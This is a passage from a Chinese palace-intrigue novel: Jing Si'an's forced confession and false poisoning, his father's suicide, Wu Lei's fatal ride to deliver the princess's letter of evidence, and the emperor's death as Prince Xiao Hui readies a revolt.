“臣听不懂,太子妃娘娘有何秘密,臣也不会知道。”景思安说,“臣不明白,陛下所言‘秘密’,究竟是什么。”
萧回冷哼一声:“景氏与外男私通,秽乱东宫。”
连云栈说:“景氏的贴身嬷嬷交代,景氏与澄阳侯叶崇是青梅竹马,二人孩子时就定了亲。景氏十几岁时,那叶崇还追到了辽北。二人在军中同吃同住,如同做了夫妻。”
“胡说!”景思安急道,“叶崇化名从军,而我姐姐是随军大夫,吃的是军中饭菜不错,可大夫有自己的帐子,何来同住一说?!再者,他们的事,早在姐姐嫁给太子之前结束。你们还要抓着以前的事不到什么时候?!”
连云栈说:“可澄阳侯至今未娶。”
景思安反问:“他是娶妻还是出家,与我们何干?”
“与你们没关系?”皇帝想了想,“朕一直很好奇,当初叶崇带回来两个潼裕的官,指控潼裕有人用私盐与力剌人换马。是,他说的是真的,朕也继续查了下去。可朕不明白,叶崇在好好的上京城不待,为何偏偏跑到潼裕去?”
景思安说:“臣不知道。”
“你不知道,澄阳侯也不说,朕去问太子,他就会顾左右而言他,”皇帝问,“澄阳侯何时投靠了东宫?”
景思安:“陛下当问澄阳侯,臣不知。”
“狡吧,狡吧!”皇帝抬高了声音,“你们所有人都在说景氏与太子情深义重,那为何他们成亲五年,至今没有子嗣?!东宫除了一个景氏,可没有其他女人。”
景思安无奈地说:“殿下与姐姐为何没有子嗣,您该去找太医问,不该来问臣。”
连云栈说:“太医已经为景氏查过,她因为常年服用避子汤,身子极为寒凉、很难有孕。”
萧回说:“若说景氏与叶崇没有奸情,有谁会信?没有奸情,她喝什么避子汤?为皇家开枝散叶的活,多少女人想干还干不了呢。”
“屹王殿下!万万不可胡乱说啊!”景思安害怕地说,“我长姐清清白白,不容你如此玷污!”
皇帝说:“昨日,太子写了休书,废了景氏。”
景思安的心顿然抽痛:“已经废了?”
“休书由太子亲自递至御前,景氏私通外男罪不容诛,现在已经打入晦朔司大牢,听候发落。”皇帝说,“你还要继续嘴硬吗?”
景思安的双臂一直颤抖,马上就要支撑不住了。他没想到萧沃会如此迫不及待地把人废了……他不是那样凉薄的人。就算是废,也不能用这个理由。
景思安咽了口唾沫,说:“没做过的事,臣不认。”
皇帝嗤的一声:“顽抗到底,你只会拖累全家。”
景思安想起来得胜归朝的那天,景皑藏在人潮中,挥舞着双臂喜极而泣的样子。他希望让父亲为他骄傲,他不想为他而流泪,甚至因为他去死。
可姐姐的事东窗事发,自己也即将被扣上谋杀
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公主的罪名,无论哪一桩落在景家头上,都是灭顶之灾。
景思安讽刺地问:“不顽抗,就不会连累全家吗?”
皇帝勾起唇角:“对。”
景思安问:“陛下,您真的会留我父亲的命吗?”
皇帝眼含笑意,不正面回答。
景思安看过萧回,又看看连云栈,说:“可臣……真的没有害公主殿下。”
“父皇!景思安所言一句都不可信!”萧回瞥一眼景思安,说,“儿臣在公主府中亲眼所见,景思安用您赏赐给昌宁的剑,架在昌宁的脖子上!他说,昌宁毁了他的一辈子,毁了景家。他宁可杀了她,也不肯做个废人,在驸马府度过一生!”
“你——胡说八道!”景思安怒视萧回,他说的这些话,分明是将自己与萧锦的对话掐头去尾、再添油加醋说给皇帝听。果然如此……怪不得在皇帝赐婚时,他萧回上蹿下跳,恨不得把萧锦塞自己床上,原来是在这等着自己!
萧回故作委屈:“父皇您瞧,他狗急跳墙了!”
“卑鄙!”景思安咬牙切齿地说。
萧回“咚”地一声给皇帝跪下:“父皇!景思安有不臣之心!昌宁死在他剑下,却始终没有半分忏悔之意!景思安当杀,景思娴当杀,景皑教子无方,更当杀!”
连云栈也说:“陛下,杀害公主之人力大无穷,而景思安武将出身;宴席上,所有人都中了蒙汗药而晕倒,唯独景思安,他在席上屡次拒绝他人敬酒,明显是知道那酒里有问题!”
景思安争辩道:“我不喝酒是因为我喝不了酒!再有,你说所有人都昏了过去,那为何我与公主说的话,他屹王听得那么真切?!”
皇帝看向萧回。
“儿臣唯一的妹妹出嫁,儿臣就怕她受委屈!”萧回说着竟留下几滴泪来,“她的宴席,儿臣也吃不下。故而儿臣早早退席,想着去她的院子外待一会。却没想到,撞见景思安谋害昌宁!”
皇帝不说话,一时忍不住笑了出来。萧回居然说疼萧锦,真的是滑天下之大稽。
“儿臣不敢欺瞒父皇!父皇明鉴!”萧回磕了个响头。
皇帝问:“有屹王作证,景思安,你还有什么好辩解的?”
景思安垂下眼眸,皇帝在乎的是萧回作证吗?他在乎的是萧锦的死吗?他想要的只是把景家拉下水罢了。他今天来,也不是为了亲审,而是为了通知自己,景家完了,太子为了自保,早早跟景家撇清了关系。
皇帝要他们死,他们怎么能活下去呢?
反抗,能掀起多大波浪?辽北兵权在太子手中,太子如今又……没别的办法了。
皇帝说:“如果你认罪,朕可以放过景皑。”
“臣听凭陛下处置。”景思安叩头,小声说。
皇帝回头看向连云栈,她跟手下眼神示意,便有人端上来一个木托盘,盘中有一杯酒。
“念在你曾为国立功,朕保尔全尸。”皇帝把酒杯端给他,“只有你死了,朕心才能安。”
景思安盯着那杯酒,眼睛顿时酸涩了。
“栖云——栖云——”
耳边似乎又想起了辽北边疆的风声、父亲的呼唤。
人会有来世吗?
——有吧。
那么爹爹,您能不能先找到我?
景思安一口将那杯酒喝干。
他跪在那,汗与泪齐下,等待毒发。
“别等了,”皇帝说,“酒里没毒。”
景思安猛地抬起头,不敢相信自己的耳朵。
“你爹替子受过,今日已经自裁了。”皇帝转身离去,“朕答应了他,放你们姐弟出去,朕说到做到。”
65. 接力
靖国公府的大门打开,景思娴与景思安回到了家中。
景皑的棺椁停在前厅,连云栈站在他的棺材旁边,府里的侍女小厮都换上了白丧服,但没有一个人哭出声。
景思娴景思安疾步走过去,最终瘫倒在香案前。
“陛下有令,禁止为景皑设牌位、吊唁、哭丧。”连云栈斜眼盯着景家姐弟,“二位懂得分寸。”
景思娴使劲点头:“懂得,懂得。”
“尽早下葬。”连云栈离开了灵堂,这里的人眼神都跟刀子似的,她也待不下去。
“恭送司丞。”景思娴拉着景思安,俯下给连云栈行礼。
送走了连云栈,景思安忍不住哭出了声。景思娴把他抱在怀里,捂住了他的嘴。
景思娴抬眼盯着景皑的棺椁,流下了两行清泪。
“明日,再下葬。”景思娴拍拍弟弟的背后,“我们再陪陪爹。”
景思安问:“姐,我们怎么办?”
“输不了。”景思娴眼神坚毅,“我们不可能输。”
景思安握住了她的手:“名单,我们还有名单。”
景思娴摸摸他的头,伏在他耳畔说:“待殿下把名单交给陛下,那便是我们与他们决一死战之时。”
—
乔竹心、吴泪、何白来到了刘家峪学堂,这里到处焦黑一片,鼻尖满是草木尘灰、尸体腐烂的臭气。只有那块雕刻山水的影壁,屹立在废墟中央。
吴泪踩着废墟的缝隙往前走,乔竹心与何白则站在学堂边缘,满目悲凉。
上次来刘家峪学堂,这里还书声阵阵、其乐融融。再次来到这里,竟只剩一堆尸骨、一片废墟。
四处都静悄悄的,吴泪掀开挡路的房梁,露出压在下面,一个小女孩的尸首。她或许没有名字,连死都是静悄悄的。
吴泪不忍垂泪。
“这场火是五天之前的事。”乔竹心提刀守在她身后,“看来,他们也找到了这里。还找得到密室的位置吗?”
吴泪擦擦脸,往影壁后面去。按照上次赵伯给她引得路,找到了柴房的大概位置。两个人跪在地上,靠敲击地面寻找入口的位置。
很快,她们就听见了地下的回音。
“找到了,”吴泪说,“老师,师妹,你们在地上等我。”
乔竹心警惕地看向四周,夜晚静得很,可越静,越有可能出问题:“你下去吧,我们在这护着你。”
吴泪点头,掀起地砖,钻进了洞口之中。这条密道很长,并且没有灼烧的痕迹。吴泪弓着身子,一手举火折子,另一手则扶着墙。在底下七拐八拐,不知道走了多少冤枉路,她才找到了一只小小的樟木箱。
木箱用的是金锁,吴泪把火折子放在地上,从怀中取出昌宁的金钥匙,插进金锁的孔洞中。
“咔哒……”木箱打开。
映入眼帘的是一封没有收信人也没有封口的信。吴泪打开之后,先是惊讶,之后流下了眼泪。
“我的死与景思安无关,他是无辜的。”
——是萧锦的绝笔信。
“我不是公主,我不是陛下的孩子。
“我的父亲是赵鹤,与我一奶同胞的,不是萧回,而是他的王妃赵照。二十二年前,母亲于白云观产下双生胎,所幸,两个孩子长得并不像。赵鹤的侍女抱走了与他相似的‘姐姐’,把‘妹妹’留给了母亲,那就是我。
“萧回的亲生母亲,是先帝的侍女云儿。陛下怕东窗事发,曾派人追杀云儿。母亲救下云儿,帮她改头换面。待云儿产下萧回后,母亲联合赵鹤,把她安排在刘家峪,秘密训练成刺客,改名为‘连云栈’,送进晦朔司。
“母亲为让萧回倾尽心血,联合连云栈、赵鹤、赵照父女,为其豢养三万私兵,养在潼裕萃神山中。并沟通力剌左贤王,贩私盐、换战马。
“盛平十年,潼裕一货郎发现萃神山演兵场,又有一秀才发现边境盐马交易,母亲指使萧成功屠戮吴沟村全村。
“母亲为萧回筹谋一切,甘愿为他放弃后位,而我亲眼看他毒死了母亲。大哥戍边后,我曾劝过他放弃,但他权当做耳旁风。我生来胆小懦弱,怕他杀我,更怕他害死大哥。尽管手中有证据,也选择忍气吞声。
“大哥走后,萧回秘密调兵回京,以谋宫变,至今,万事已备。萧回知晓我在收集他的罪证,逼我毁掉证据,帮他夺位。但大哥待我如手足亲人,杀母之仇不可不报,我佯装顺从,实则将手中证据藏于此地,以待来日。
“婚礼当日,我在公主府的酒菜中下了蒙汗药。等景思安昏睡后,我将吞下钥匙,只要剖开我的身体,就能得到证据。倘若是晦院的人剖开我,萧回会毁掉这一切。倘若是大哥,我希望大哥能拿着这些证据,杀萧回,登帝位。
“我相信天命会选择大哥,如同那日的晦朔司大考,天命选择了兰见春。
“萧锦,于盛平十四年,腊月廿日。”
吴泪看完了,只觉得震撼,脑袋嗡嗡。樟木箱里还有“眼中眼”的玉佩、萧回萧锦出生之日的太医院记录、侍女云儿的画像、标注演兵场位置的萃神山地图……
这都是萧锦拼命找到、留下的证据。
她懦弱了一辈子,就在死的时候勇敢了一回。
吴泪把那些证据卷进一个竹筒中,揣进怀里,往洞口中退。
她的心跳很快,脚下一深一浅的,证据揣在她的怀里,像一团火。
她很快就到来了密道入口,抓住了乔竹心的手。
眼前瞬间变得清明,血腥气逼近了她的鼻腔。
“扑通”一声,乔竹心倒在了地上。吴泪这才注意到,身边横七竖八地躺了许多黑衣死士,而何白胸口都是血和伤口,倒在地上咽了气。
乔竹心浑身是血,勉强挺过了那场厮杀,手上的刀都砍得卷边了。
“老师!”吴泪跪在乔竹心身边,哭道,“老师!”
乔竹心嘴里汩汩地冒血,她的嘴一张一合,好像在说什么。吴泪趴在她唇边去听,依稀听见:
“对、不、起……”乔竹心眼前晕满了泪,她看不清吴泪的脸了。她想抬起手,但伸到
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了半空,就没了力气。
吴泪急忙抓住了乔竹心的手,拉着她触碰自己的脸颊,急道:“老师,我听不见。”
乔竹心血喷了一脸,她气声说:“对不起……”
吴泪想把她扶起来,但乔竹心失望地别过头。她没力气了,她这罪恶的一辈子,也就到此为止了,她赎罪了,哀求老天不要把她打入地狱。
乔竹心从腰间摘下了一块金令牌,塞到了吴泪手中。
令牌上刻着“晦朔司”三个字,这是皇帝赐给司丞的,有了它,即便持令牌的人要夜闯宫门,任何人都不得阻拦。
这是三年前皇帝给了她们的一线生机。
“走。”乔竹心说。
吴泪哑着嗓子:“老师!”
“走!”乔竹心用尽最后的力气,把她推了出去。
吴泪一步三回头,跌跌撞撞地冲进了树林里。幸好有乔竹心、何白为她杀光了追兵,为她挣到了一点时间。
白马像一道闪电,载着吴泪一路奔逃。风急速飞动,身边的树林、枯草在急速倒退。吴泪俯着身体,贴在马背上,用自己的身体护着怀里的竹筒,她抓着缰绳,通红的眼盯着远处的城门。
“嗖——嗖——嗖——”
成百上千支箭从她身后追上来,吴泪感觉一股寒凉穿透了自己的后背,她不敢回头,拔下了木簪子,刺进马臀。
马受惊嘶鸣,撒开蹄子往城门冲。吴泪流着泪,她感觉不到疼,也感觉不到自己活着。
心里就一个念头,回去、回去、回去!
黑夜吞没了她的恐惧。
城门打开,一匹血淋淋的白马冲进了城门,马背上的人捏紧了一块金令牌,举给下边的守门将士。
“是晦朔司——放人——放人——”
城门缓缓地关上,箭欻欻地射进城门。
吴泪意识模糊,看见暗中窜出一匹黑马,马上的人单手持缰,讶异地向她冲来。
“师姐!”兰见春匆匆下马,抓住了吴泪的手,吴泪让人射成了筛子,后背上都是箭。
吴泪从怀中取出一个滴血的竹筒,塞进了兰见春手中。
“速见陛下……快!”
“好,好,”兰见春把竹筒塞进自己的怀里。
吴泪抓住她的手,把她拉到了身边,她望着她的眼睛良久,她还有很多话想跟兰见春说,但她都说不出来了。
“师姐……师姐……”
——从此,我们就是彼此的家人,福祸相依,休戚与共。
说好一起走完后半程,老师,师姐,现在就生下我一个了。
这乌烟瘴气的朝廷,这乌烟瘴气的晦朔司,这乌烟瘴气的天地。
我不愿屈从于这样的世界。
兰见春再次攀上马,她回过头,看见刺客们停在城门之外。她讽刺地笑出了声,不可能了,有的人,败局已定。
老师,我们就要赢了。
师姐,我们就要赢了。
黑马破风,直奔宫阙;
迷雾渐散,长夜将尽。
66. 君亡
北面的宫门打开,黑马犹如一柄鬼头刀,刺穿了夜晚的皇宫。
南面的宫门打开,一袭白衣犹如一柄剑,捅破了上京的安宁。
皇帝寝殿的门一道道地打开,脚步声铛铛响,就像辽北战场的笳鼓声。
皇帝赤着脚冲进正厅,却见萧沃一个滑跪飞到了自己面前。他手中是一份黄得发黑的羊皮卷,他双手托举它,举过头顶。
皇帝心“咚咚咚”跳得厉害,他盯着羊皮卷,紧张得忘了呼吸。
这就是力剌可汗交给萧沃的通敌名单。
烛光跳动,“噼啪”作响,寝殿内时明时暗。皇帝缓缓抬起手,他试图抓起羊皮卷,刹那又因害怕而缩回手。
父子之间的呼吸声清晰可闻,皇帝怔然盯着萧沃的眼睛,他吹着眼眸,睫毛藏住他眼底的情绪。
皇帝感觉眼前越来越模糊,呼吸越来越困难,像被人扼住了喉咙。他再次抬起手,像不忍心解开一道陈年伤疤那样,迟疑地、犹犹豫豫地展开羊皮卷。
他看见了他最不想看见的名字。
“陛下!”
殿外传来兰见春的呼喊,她双手举着浸血竹筒,快步冲进来。
皇帝看见是她,先是吓了一大跳,可他还来不及想兰见春是怎么活下来的,他就拆开了竹筒。
萧锦的遗书散落一地,密密麻麻写了那么多,归结为一个名字,就是“萧回”。
“噗——”
一股温烫的液体喷在了萧沃头发上、脸上、身上。他恐惧得闭上了眼睛,周身气流涌动,眼前的男人,像雪崩那样向下坍塌。
羊皮卷也掉在了地上,兰见春的余光恰好可以看见上面的字,也可以归结为一个名字,就是“萧回”。
兰见春、萧沃肩并肩跪在皇帝面前,他们听见了人倒在地上的声音,听见了人病态的呼吸声,听见了人孱弱的呼救。
“荫……荫槐……救……救……”
萧沃睁开了眼睛,看着地上的人,缄默。
皇帝朝他伸出手,试图抓住他的衣角,目眦尽裂,甚至连眼球都在用力。
萧沃站了起来,向后退了半步。他冷眼望着皇帝,忽视他的求救。
皇帝从下方仰视萧沃,浑身都在抖。
萧沃第一次从这个男人眼里看到眼泪和后悔。他袖手旁观,神情冷得一如过往的皇帝。
——是啊,父亲,我们怎么会不像呢?你在我母后濒死之际,不也如此旁观吗?
皇帝转向兰见春,他伸出手,想扯兰见春的衣摆。而兰见春以膝盖为足,正面对着皇帝,却向身后退。
“救……救救朕……”
兰见春急促地呼吸着,她一边退,一边站起来。无论皇帝如何期待,如何呼救,她都装作看不见。
如果不是皇帝,吴沟村、潼裕,就不会死那么多人;
如果不是皇帝,乔竹心、吴泪、何白就不会死得那么惨烈;
如果不是皇帝,萧沃与萧回就不会斗得头破血流,所有人,天下的所有人,就不会活得那么痛苦。
兰见春冷眼望着皇帝,她不会施以援手。
皇帝看着他们,不停地挥手,直到视野变灰、变黑,直到失去力气。他的手摔下来,但眼睛仍旧是瞪得浑圆,眼珠子像是要蹦出来似的。
萧沃像被冻住似的僵在原地。
兰见春则缓缓地踱过去,蹲下探了探皇帝的鼻息。
“死了?”萧沃问。
兰见春点了点头。
“今天,我们都是反贼。”萧沃恐惧地说,“我们……杀了皇——”
“殿下,”兰见春打断他,“这样的皇帝,不值得。”
萧沃沉默,他的胸膛剧烈起伏,他不敢看皇帝的眼睛,浑身都在抖。
“我杀了皇帝,我杀了我父亲……”萧沃抖得厉害,“我有罪,有罪……”
兰见春抓住他的肩膀:“殿下,看着我。”
萧沃仍瞪大了眼睛,他像惊弓之鸟,脸色变得惨白,整个人像没了骨头似的往下掉。兰见春一手把他捞了起来,稍微抬高了声音呼唤他:“荫槐!”
萧沃转眸望着她的眼睛,呢喃道:“怎么办?他死了。”
兰见春握住了他的手,坚定地望着他:“别怕。”
萧沃哽咽道:“怎么办……”
“陛下是旧疾复发,”兰见春沉声说,“而殿下将力剌重要情报递给了陛下,出了这样的事,谁都想不到。”
萧沃抬眸看她,她目光如磐石,一如他们的初见。
“陛下殡天,而殿下作为储君,继承大统名正言顺。”兰见春抓住了他,“立刻给所有阁臣报信。”
萧沃一直点头。
“不要说陛下殡天,要说陛下病重。”兰见春说,“传太医为陛下诊治,等阁臣到了,把我们的证据给他们一一看过,再宣告陛下殡天。”
萧沃抖着点头。
“今夜将有一场恶战。”兰见春说,“小温大人传信说,萧回的人已经进入上京,叶侯那边也都准备好了,就等他杀进皇宫。”
从萧锦死后之日,萧回就着手把自己的人调回京。而兰见春以萧沃的名义联合了叶崇,这几日上京城墙的盘查故意松了半分,把萧回的人放进了城内。
而今天,兰见春特地给温潜写密信,说今晚萧沃就会把力剌可汗的名单递给皇帝,要他与温如璋、海益等阁臣早做准备。与此同时,吴泪、何白、乔竹心启程去刘家峪学堂。
按照计划,她与萧沃各带一份罪证,将同时呈给陛下。无论路上出现什么状况,都保证有其中一份递到皇帝面前。
留给萧回的只有一条路——谋反。
如果他选择谋反,那么叶崇会带着禁军火器营在金銮殿等他。如果他不选,兰见春和萧沃手里的证据足够将他绳之以法。
萧回已经被逼到了绝境,而且没有胜算。
“打起精神来。”兰见春用额头抵着萧沃的额头,他们都能听见彼此剧烈的心跳,“今天是我们的好日子。”
她将萧沃揽在了怀里,望着窗外黑沉沉的夜,说:“天要亮了。”
摧毁她和亲族人生的人,摧毁一切的人,死了。黎明将至,天光将至,这是大大
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的好日子。
怀中的人哽咽道:“我疼……我后悔。”
“那不是后悔,也不是自责。”兰见春在他耳畔说,“而是伤口要好了。”
—
一个时辰后,屹王府。
信鸽停在了赵照窗前,她起身拆信,却发现身边的萧回早已不知去向。她揉了揉眼,拆开了密信。
“皇帝中风昏迷,太子急召内阁入宫。”
一股电跑遍赵照全身,她来不及穿鞋裹披风,就匆匆推开了门,满目是黑压压的铠甲。
萧回穿着铠甲,坐在她门口的台阶上抽烟枪。听见门响,他转过头,云淡风轻地说:“地上冷。”
“殿下……”赵照环顾整个王府,到处他们的人。
萧回吸了最后一口,之后借台阶磕净烟斗里剩下的烟草,把烟枪安安稳稳地放在台阶上。他站起来,缓缓登上台阶,站在赵照面前,像一堵墙。
萧回双手捧住赵照的脸,忽然,他露出安宁的表情:“带上孩子,走吧。”
赵照摇头:“我要和你一起。”
“狗皇帝根本没杀乔竹心,”萧回说,“乔竹心的人拿到了萧锦的证据,我们的人没拦住,恐怕过一会,就该送至御前了。”
赵照说:“我们怎么……怎么就这样了呢?”
“狗皇帝从未有一刻信过我,”萧回讽刺地说,“他让我与萧沃相互折磨,相互憎恶,为的就是等到今日,我和他一决生死。”
萧回眼前浮现起小时候皇帝抱着他去跑马的场景,在陈昀和朝臣面前,皇帝对自己是又疼又爱。可背过身去,只要自己犯一点小错,皇帝就会用极其嫌弃的眼神瞪着自己。
其实父亲根本就不爱他,也不爱陈昀,皇帝爱的只有权势,所作所为都是为了皇权永固。
萧回心说,这样的父亲,怎么现在才死呢?
“殿下,还未到最后一刻,我们没有输。”赵照握住萧回的手,坚硬的铠甲有些硌手,“我要跟殿下在一起,我们是一家人,生死患难,一起面对。”
萧回望着赵照满眼无奈:一家人抱在一起去死吗?我不想这样。
萧回说:“走吧,孩子还小。”
“成王败寇,愿赌服输。”赵照坚定地说,“如果今晚你赢了,我们陪殿下走上帝位。如果今晚你输了,我们也会陪殿下走到最后。”
萧回端详她的眉眼:“还是走吧,逃吧,孩子那么小,不能为我所累。”
“我们是一家人,不说这种话。”赵照揽过他的脖子,用额头抵着他的额头,静听两人如战鼓擂的心跳。
萧回被她拉着,心里难受的很:我这辈子就这样了,难道也要孩子同我一样,连自己的生死都无法决定吗?带他走或许还有活的机会,留在这就得等着被失败的爹牵连。
他心里想的那么多,其实一句都没说给赵照。他习惯于接受他人的意志,就像一块只会吸水的海绵。
良久,赵照放开了萧回,轻声说:“为我穿战甲。”
萧回看着她的眼睛,拇指拂过她眼尾的小痣,挤出来一个很难看很难看的笑。